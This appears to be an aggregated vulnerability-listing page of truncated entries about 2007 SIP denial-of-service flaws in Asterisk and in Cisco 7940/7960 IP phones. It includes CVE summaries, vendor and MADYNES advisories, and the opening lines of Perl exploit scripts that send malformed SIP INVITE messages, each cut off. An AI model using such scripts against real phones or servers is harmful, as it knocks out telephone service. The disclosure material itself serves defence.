CVE-2007-4455

The CVE-2007-4455 issue affects the SIP channel driver (chan_sip) in Asterisk Open Source 1.4.x up to 1.4.11, AsteriskNOW up to beta7, Asterisk Appliance Developer Kit 0.x up to 0.8.0, and s800i (Asterisk Appliance) up to 1.0.3. The vulnerability allows remote attackers to cause a denial of servi...

AST-2007-020: Resource Exhaustion Vulnerability in Asterisk SIP channel driver

Asterisk Project Security Advisory - AST-2007-020 +------------------------------------------------------------------------+ | Product | Asterisk | |--------------------+---------------------------------------------------| | Summary | Resource Exhaustion vulnerability in SIP channel | | | driver ...

Asterisk VoIP server Skinny protocol resources aexhaustions

SIP dialog history is stored in memory regardless of settings, leading to memory exhaustion...

Code injection

Cisco IP Phone 7940 and 7960 with P0S3-08-6-00 firmware, and other SIP firmware before 8.70, allows remote attackers to cause a denial of service device reboot via 1 a certain sequence of 10 invalid SIP INVITE and OPTIONS messages; or 2 a certain invalid SIP INVITE message that contains a remote...

CVE-2007-4459

Cisco IP Phone CVE-2007-4459 affects the 7940/7960 series with firmware up to P0S3-08-6-00 (and other SIP firmware before 8.7(0)). A remote, unauthenticated attacker on the voice VLAN can cause a denial of service resulting in a reboot by sending a specific sequence of malformed SIP messages (or ...

CVE-2007-4459

Cisco IP Phone 7940 and 7960 with P0S3-08-6-00 firmware, and other SIP firmware before 8.70, allows remote attackers to cause a denial of service device reboot via 1 a certain sequence of 10 invalid SIP INVITE and OPTIONS messages; or 2 a certain invalid SIP INVITE message that contains a remote...

Cisco IP Phone Session Initiation Protocol Denial of Service Vulnerability

Cisco 7940 and 7960 IP Phones with firmware versions 8.6 and prior contain a vulnerability when handling a series of SIP messages that could allow an attacker on the Voice VLAN to cause the phone to fail and restart. This vulnerability exists due to insufficient handling of certain sets of...

Cisco IP Phone 7940 (10 SIP messages) Remote Denial of Service Exploit

Exploit for hardware platform in category dos / poc ====================================================================== Cisco IP Phone 7940 10 SIP messages Remote Denial of Service Exploit ====================================================================== !/usr/bin/perl use IO::Socket::INE...

Cisco IP Phone 7940 (10 SIP messages) Remote Denial of Service Exploit

No description provided by source. !/usr/bin/perl use IO::Socket::INET; die "Usage $0 dst-address dst-port dstusername src-address" unless $ARGV3; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; ...

Cisco IP Phone 7940 (3 SIP messages) Remote Denial of Service Exploit

No description provided by source. !/usr/bin/perl use IO::Socket::INET; die "Usage $0 dst port username" unless $ARGV2; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; ...

Cisco IP Phone 7940 (3 SIP messages) Remote Denial of Service Exploit

Exploit for hardware platform in category dos / poc ===================================================================== Cisco IP Phone 7940 3 SIP messages Remote Denial of Service Exploit ===================================================================== !/usr/bin/perl use IO::Socket::INET;...

[Full-disclosure] 10 messages SIP Remote DOS on Cisco 7940 SIP Phone

MADYNES Security Advisory : stateful SIP remote DOS on Cisco 7940 Date of Discovery 4 April, 2007 ID: KIPH6 Synopsis After sending a series of ten SIP messages the device reboots. The phone does not check properly the state engine in the SIP stack The vendor was informed in April 2007 and...

Cisco IP Phone 7940 - 3 SIP Messages Remote Denial of Service

Cisco IP Phone 7940 - 3 SIP Messages Remote Denial of Service !/usr/bin/perl use IO::Socket::INET; die "Usage $0 " unless $ARGV2; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg = "INVITE sip:$ARGV2@$ARGV0 SIP/2.0\r\nVia:...

cisco-dos.txt

MADYNES Security Advisory : stateful SIP remote DOS on Cisco 7940 Date of Discovery 3 February, 2007 ID: KIPH5 Synopsis After sending a series of three SIP messages the device reboots. The phone does not check properly the state engine in the SIP stack The vendor was informed in March 2007 and...

Cisco IP Phone 7940 - 10 SIP Messages Remote Denial of Service

!/usr/bin/perl use IO::Socket::INET; die "Usage $0 " unless $ARGV3; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg = "INVITE sip:$ARGV2@$ARGV0 SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV3;branch=01;rport\r\nFrom: ;tag=01\r\nTo: \r\nCall-ID: 01@$ARGV3\r\nCSeq: 7532...

Cisco IP Phone 7940 - 3 SIP Messages Remote Denial of Service

!/usr/bin/perl use IO::Socket::INET; die "Usage $0 " unless $ARGV2; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg = "INVITE sip:$ARGV2@$ARGV0 SIP/2.0\r\nVia: SIP/2.0/UDP\t192.168.1.2;rport;branch=00\r\nFrom: ;tag=00\r\nTo: ;tag=00\r\nCall-ID:...

Cisco 7940 SIP IPPhones DoS

A sequence of malformed SIP requests causes device to crash...

Cisco IP Phone 7940 - 10 SIP Messages Remote Denial of Service

Cisco IP Phone 7940 - 10 SIP Messages Remote Denial of Service !/usr/bin/perl use IO::Socket::INET; die "Usage $0 " unless $ARGV3; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg = "INVITE sip:$ARGV2@$ARGV0 SIP/2.0\r\nVia: SIP/2.0/UDP...

cisco-stateful-dos.txt

MADYNES Security Advisory : stateful SIP remote DOS on Cisco 7940 Date of Discovery 4 April, 2007 ID: KIPH6 Synopsis After sending a series of ten SIP messages the device reboots. The phone does not check properly the state engine in the SIP stack The vendor was informed in April 2007 and...

[Full-disclosure] 3 messsages attack remote DOS on Cisco 7940

MADYNES Security Advisory : stateful SIP remote DOS on Cisco 7940 Date of Discovery 3 February, 2007 ID: KIPH5 Synopsis After sending a series of three SIP messages the device reboots. The phone does not check properly the state engine in the SIP stack The vendor was informed in March 2007 and...